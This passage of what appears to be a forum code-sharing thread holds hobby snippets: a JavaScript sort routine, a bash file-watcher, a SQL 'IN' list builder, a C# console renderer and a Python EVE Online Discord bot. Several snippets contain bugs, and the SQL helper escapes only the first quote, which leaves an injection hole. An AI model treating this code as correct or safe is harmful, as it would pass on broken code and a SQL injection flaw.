        let maxLeftKey = null;
        let maxLeftIdx = 0;
        for (let i = 0; i < keys.length; i++) {
            const key = keys[i];
            if (tags[key] >= maxLeft) {
                maxLeft = tags[key];
                maxLeftKey = key;
                maxLeftIdx = i;
            }
        }
        sorted.push({[maxLeftKey]: tags[maxLeftKey]});
        keys.splice(maxLeftIdx, 1);
        if (keys.length > 0) {
            next(keys, sorted);
        }
    };
    next(keys, sorted);

    return sorted;
};

const sorted = sortByMostCommon({
    test0: 90,
    test1: 2,
    test2: 14,
});

 

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This is a small bash script I wrote that I use in my Pandoc workflow to write things for school.

I use it to watch the markdown file I'm currently working on, and then executes my compile command when I save it.

 

#!/bin/bash

set -e

# A script that when run as
# `./onchangedo.sh <file> <command>`
# executes the `<command>` every time the `<file>` changes
# @DEPENDS notify-tools

# dependency check
if hash inotifywait 2>/dev/null; then
  if (( $# == 2 )); then
    FILE="$1"
    COMMAND="$2"
    if [ -f "$FILE" ]; then
      while inotifywait -e close_write "$FILE" || true; do eval "$COMMAND"; done
    fi
  else
    echo "Usage: ./onchangedo.sh <file> <command>"
  fi
else
  echo "This script requires notify-tools to be installed!"
  echo "(Specifically the 'inotifywait' command)"
  exit 1
fi

 


CPU: 8700K MoBo: Strix Z370-E RAM: 32 Gigs Vengeance LPX GPU: 1070 + 780 Ti Case: Fractal Define C PSU: Seasonic 750W Cooling: NH-D15

Monitor: LG34UM95 Keyboard: niu mini with Box Jades Mouse: M570 Trackball Sound: Beyer Dynamics Custom One Pro

OS: Arch Linux Phone: LG V30 Laptop: L380 Yoga Thinkpad

 

btw I use archlinux

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Here's a function I've been using to take line-separated entries you can convert to be used in a SQL 'IN' statement

 

/**
 * text {text} The line separated string to be converted
 * options {object} Set 'oneLinePerItem' to true to output each item on new line
 *                  Set 'ignoreDuplicates' to only output one of each item
 *                  Set 'ignoreWhiteLines' to not take white line inputs into consideration
 **/
function convertCommaSepList(text, options = {}) {
  if (text || text === 0) {
    var stringOutput = [];
    text.split("\n").forEach(function(n){
      var strToOutput;
      if (typeof n === "string" && (!(!isNaN(parseFloat(n)) && isFinite(n)))) {
        strToOutput = ("'" + n.trim().replace("'", "''") + "'");
      } else if (!isNaN(parseFloat(n)) && isFinite(n)) {
        if (options.treatListNumbersAsStrings) {
          strToOutput = ("'" + n.trim().replace("'", "''") + "'");
        } else {  
          strToOutput = n;
        }
      }

      if (options.oneLinePerItem) {
        stringOutput.push(strToOutput + "\r\n");
      } else {
        stringOutput.push(strToOutput);
      }
    });

    if (options.ignoreDuplicates) {
      stringOutput = stringOutput.filter(function(value, index, self) { 
          return self.indexOf(value) === index;
      });
    }

    var result = stringOutput.join(",").trimEnd();

    if (options.ignoreWhiteLines) {
      result = result.replace(/'',/g, "");
    }

    return result;
  }
  return text
}

 

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After getting tired of people complaining that you can't make a console game engine in C# because of flicker, and having got some experience working with the console buffer in c++, I decided to try my hand at making a C# utility that allows you to act like you are doing console buffer swaps, is low overhead, and doesn't introduce flicker.

After a few hours of trying different things, I stumbled across the pattern:

Console.SetCursorPosition(0, 0);
Console.Write(char[]);

Since, when doing buffer swaps you are just rewriting the entire buffer anyway, this allows one to think like they are just doing it the Win32 way. Here's the beginnings of a class that implements that.
 

    // This is the screen that we are drawing on.
    // So far I haven't noticed any flickering.
    class Screen
    {
        // properties
        public char[] ScreenArray { get; set; }
        public int ScreenWidth { get; set; }
        public int ScreenHeight { get; set; }
        public string WindowTitle { get; set; }

        // fields
        private readonly int _MAX_WINDOW_WIDTH = 230; // These values produce a nearly maximum sized
        private readonly int _MAX_WINDOW_HEIGHT = 60; // window on a 1080p monitor.

        private readonly int _STANDARD_WINDOW_WIDTH = 120; // these values produce a nice sized window
        private readonly int _STANDARD_WINDOW_HEIGHT = 40;

        //constructors
        public Screen() { this.Setup(this._STANDARD_WINDOW_WIDTH, this._STANDARD_WINDOW_HEIGHT, "Screen Game Engine"); }

        public Screen(string title) { this.Setup(this._STANDARD_WINDOW_WIDTH, this._STANDARD_WINDOW_HEIGHT, title); }

        public Screen(int width, int height, string title) { this.Setup(width, height, title); }

        // helper function for constructors
        private void Setup(int width, int height, string title)
        {
            if (width > this._MAX_WINDOW_WIDTH)
                throw new ArgumentOutOfRangeException("The maximum width of a console window is {0}. Yours was {1}.", Convert.ToString(this._MAX_WINDOW_WIDTH), Convert.ToString(width));

            if (height > this._MAX_WINDOW_HEIGHT)
                throw new ArgumentOutOfRangeException("The maximum height of a console window is {0}. Yours was {1}.", Convert.ToString(this._MAX_WINDOW_HEIGHT), Convert.ToString(height));

            this.ScreenWidth = width;
            this.ScreenHeight = height;

            Console.SetWindowSize(width, height);
            Console.SetBufferSize(width, height);

            Console.CursorVisible = false;
            Console.Title = title;
        }

        // methods

        // when draw is called, it draws ScreenArray onto the console
        // at this time, if your screen contains multiple lines, you must
        // insert '\n' at the appropriate index, or make sure that the ScreenArray is 
      	// console width aligned.
        public void Draw()
        {
            Console.SetCursorPosition(0, 0);
            Console.Write(this.ScreenArray);
        }
    }

Including comments, it comes in at 53 lines.

EDIT::

In some circumstances, the Draw method will scroll past the end of the last line, and end up hiding the first line of characters in ScreenArray. There are two methods to fix this issue:

Console.BufferWidth++;
Console.Write(ScreenArray);
Consol.BufferWidth--;

// However, this method can cause a flickering 
// side scroll bar.
Console.SetCursorPosition(0,0);
Console.Write(ScreenArray);
Console.SetCursorPosition(0,0);
Console.Write(ScreenArray[0]);

// This method doesn't cause flickering


 

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Here is what is essentially a very early version of a discord bot that I wrote to fetch information from the EVE Online API (known as ESI), as well as zKillboard, a third party site that tracks player kills and losses. This bot makes use of discord.py (async branch).

 

import discord
from discord.ext.commands import Bot
import asyncio, aiohttp
import json
import datetime
import urllib

# Settings
prefix = '/'
TOKEN = ""
app = ""
contact = ""
headers = {'user-agent': f"Application: {app} Contact: {contact}", 'content-type': 'application/json'}

bot = Bot(command_prefix=prefix)

# Util Functions
async def getID(name):
    urlName = urllib.parse.quote_plus(name)
    url = f"https://esi.evetech.net/v2/search/?categories=character&datasource=tranquility&search={urlName}&strict=true"
    async with aiohttp.Clientsession().get(url, headers=headers) as response:
        r = response.json()
        if 'character' in r:
            return r['character'][0]
        else:
            return None

async def getKB(cid: int):
    time = datetime.datetime.utcnow().strftime("%Y%m")
    url = f"https://zkillboard.com/api/stats/characterID/{cid}/"
    async with aiohttp.Clientsession().get(url, headers=headers) as response:
        select = response.json() 
    stats = {'danger': select["dangerRatio"], 'gang': select["gangRatio"],
            'kills_all': select["allTimeSum"], 'kills_mo': select["months"][time]["shipsDestroyed"],
            'kburl': f"http://zkillboard.com/character/{cid}"}
    return stats

# Bot Functions
@bot.event
async def on_ready():
    print(f"Bot Online! \nLogged in as: {bot.user.name}")

@bot.command(aliases = ['eve_time', 'evetime', 'et'])
async def time():
    time = datetime.datetime.utcnow()
    return await bot.say("Current EVE (UTC) Time: " + time.strftime("%H:%M"))

@bot.command(aliases = ['t'])
async def threat(*, char: str):
    cid = await getID(char)
    if cid == None:
        return await bot.say("Character not found!")
    stats = await getKB(cid)
    
    return await bot.say(f":alien: {char} \n\n :skull_crossbones: {stats['danger']}  :children_crossing: {stats['gang']} :knife: {stats['kills_all']} :calendar: {stats['kills_mo']} \n\n\n :bookmark: {stats['kburl']}")

bot.run(TOKEN)

The current version of the bot exists here: https://gitlab.com/colcrunch/killbot (About 48x the number of lines now :P)

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